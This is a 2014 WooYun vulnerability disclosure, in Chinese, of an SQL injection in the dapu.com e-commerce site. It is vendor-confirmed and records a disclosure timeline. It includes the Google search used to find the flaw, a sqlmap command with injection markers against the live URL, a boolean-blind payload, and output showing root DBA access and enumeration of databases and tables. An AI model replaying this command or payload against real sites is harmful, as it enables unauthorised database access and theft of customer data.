当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076451

漏洞标题：大扑网SQL注入,再来一发,N多核心数据

相关厂商：大朴网

漏洞作者： 小饼仔

提交时间：2014-09-18 15:02

修复时间：2014-11-02 15:04

公开时间：2014-11-02 15:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-18： 细节已通知厂商并且等待厂商处理中
2014-09-19： 厂商已经确认，细节仅向厂商公开
2014-09-29： 细节向核心白帽子及相关领域专家公开
2014-10-09： 细节向普通白帽子公开
2014-10-19： 细节向实习白帽子公开
2014-11-02： 细节向公众公开

简要描述：

哎，之前找到两个注入点，一个M站的，速度慢，一个PC站的速度杠杠的，结果被修复了。然后晚上不甘心，想一想肯定还有什么地方有注入，结果真被我发现了，里面数据很重要吧。
PS。能送点礼物吗？

详细说明：

上次那个漏洞是萌宝征集令活动的查询注入，被和谐，不甘心，就去google了一下

site:dapu.com 编号


，结果如下：

zhengju1.png


随便点进去一个，发现链接很可疑

zhengju2.png


有两个数字id，经验证，第一个是商品的id，第二个是咨询记录的id

zhengju3.png


zhengju4.png


改成'就不出来了.
果断拿到sqlmap里面去跑，有惊喜：

python sqlmap.py -u "http://www.dapu.com/product-askdetail-664*-18912*.html" 
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all a
pplicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:41:13
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[00:41:15] [INFO] resuming back-end DBMS 'mysql'
[00:41:15] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.dapu.com:80/product-askdetail-664' AND 8056=8056 AND 'pkrD'='pkrD-18912.html
---
[00:41:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5


漏洞证明：

root权限
back-end DBMS: MySQL 5
current user:    'root@%'
current database:    'ecstoreprd'
current user is DBA:    True
available databases [6]:
[*] ecstoreprd
[*] information_schema
[*] mysql
[*] ocsprd
[*] performance_schema
[*] test


ecstoreprd，219张表，里面账户、交易信息等等。
还有个数据库ocsprd，也很多，这里就不贴了~
[01:01:59] [INFO] fetching tables for database: 'ecstoreprd'
[01:01:59] [INFO] fetching number of tables for database 'ecstoreprd'
[01:01:59] [INFO] resumed: 219
[01:01:59] [INFO] retrieving the length of query output
[01:01:59] [INFO] resumed: 16
[01:01:59] [INFO] resumed: dapu_image_image
[01:01:59] [INFO] retrieving the length of query output
[01:01:59] [INFO] resumed: 25
[01:02:22] [INFO] retrieved: sdb_aftersale__after_sale 24/25 (96%)
[01:02:39] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[01:02:39] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[01:02:46] [INFO] retrieved: sdb_aftersales_after_sale
[01:02:46] [INFO] retrieving the length of query output
[01:02:46] [INFO] retrieved: 29
[01:03:21] [INFO] retrieved: sdb_aftersales_return_product
[01:03:21] [INFO] retrieving the length of query output
[01:03:21] [INFO] retrieved: 13
[01:03:45] [INFO] retrieved: sdb_b2c_brand
[01:03:45] [INFO] retrieving the length of query output
[01:03:45] [INFO] retrieved: 12
[01:04:08] [INFO] retrieved: sdb_b2c_cart
[01:04:08] [INFO] retrieving the length of query output
[01:04:08] [INFO] retrieved: 20
[01:04:34] [INFO] retrieved: sdb_b2c_cart_objects
[01:04:34] [INFO] retrieving the length of query output
[01:04:34] [INFO] retrieved: 27


修复方案：

求礼物

版权声明：转载请注明来源 小饼仔@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-09-19 17:48

厂商回复：

非常干些您的指正，要什么礼物么？

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-19 18:06 | 小饼仔 ( 普通白帽子 | Rank:363 漏洞数:48 | 不告诉你)

    嘿嘿，私聊 @大朴网